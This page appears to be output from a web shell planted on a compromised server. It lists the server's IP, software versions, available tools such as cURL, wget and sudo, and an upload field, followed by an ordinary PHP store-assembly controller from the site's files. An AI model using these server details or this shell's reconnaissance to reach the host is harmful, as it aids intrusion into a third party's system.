Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/storeAssembly/controller/ |
Upload File : |
<?php
class StoreAssemblyAdmin_Controller extends Controller {
private $level;
private $model_assembly;
public function __construct() {
parent::__construct(dirname(__DIR__));
$this->level = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_level'] : 0;
$this->model_assembly = $this->loadModel('assembly_model');
}
public function __Register() {
$this->RegisterView(__CLASS__ .'::product_assembly', ['storeclient_assembly' => ['store_assembly_tab', 'store_assembly_popup']]);
}
/** staff */
public function product_assembly($product_id = '', $action = '') {
$res = $this->DefaultResult(__METHOD__);
if ($product_id != '') {
switch($action) {
case 'tab-assembly':
$res['template'] = 'store_assembly_tab';
$res['auth'] = hook_execute('nonce.create', FALSE, 'product', $product_id, 1800);
$this->model_assembly->ProductId($product_id);
$info = $this->model_assembly->AsDatatable();
$res = array_merge($res, $info);
break;
case 'set-assembly':
if ($this->isPost) {
$product_id = hook_execute( 'nonce.verify', FALSE, 'product', FALSE, $this->post('auth', '') );
if (!is_numeric($product_id)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
}
$products = $this->post('products');
$this->model_assembly
->ProductId($product_id)
->IsAssembly($this->post('sp_assembly', 0))
->Save();
$this->model_assembly->Products($products);
$res = [
'result' => -9999,
'message' => 'Assembly details have been saved',
];
}
break;
case 'popup-add':
$this->model_assembly->ProductId($product_id);
$res['popup'] = [
'title' => 'Add Product',
'modal' => true,
'template' => 'store_assembly_popup',
'sp_id' => $product_id,
'auth' => hook_execute('nonce.create', FALSE, 'assembly', "{$product_id}:0", 1800),
'list_product' => $this->model_assembly->AsDatatable_Products(),
'footer' => 'Enter quantity of 0 to delete',
'quantity' => 1,
];
break;
case 'popup-edit':
$auth = hook_execute( 'nonce.verify', FALSE, 'assembly', FALSE, $this->param('auth', '') );
if (!is_string($auth)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
}
[$product_id, $sequence] = explode(':', $auth, 2);
$this->model_assembly->ProductId($product_id);
$info = $this->model_assembly->AsDatatable();
$selected = [];
foreach($info['products'] as $item) {
if ($item['seq'] == $sequence) {
$selected = $item;
break;
}
}
// load the item
// product list includes current product
$this->model_assembly->ProductId($product_id);
$res['popup'] = [
'title' => 'Edit Product',
'modal' => true,
'template' => 'store_assembly_popup',
'sp_id' => $product_id,
'auth' => $selected['auth'] ?? '',
'list_product' => $this->model_assembly->AsDatatable_Products($selected['id'] ?? 0),
'footer' => 'Enter quantity of 0 to delete',
'product_id' => $selected['id'] ?? '',
'quantity' => $selected['qty'] ?? 0,
];
break;
case 'popup-save':
$auth = hook_execute( 'nonce.verify', FALSE, 'assembly', FALSE, $this->post('auth', '') );
if (!is_string($auth)) {
return [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
}
[$product_id, $sequence] = explode(':', $auth, 2);
$this->model_assembly->ProductId($product_id);
// save item
$this->model_assembly->setSubProduct($sequence, $this->post('product_id', ''), $this->post('quantity', 0));
// redraw tab (or reload page)
$res['redirect'] = true;
break;
}
}
return $res;
}
}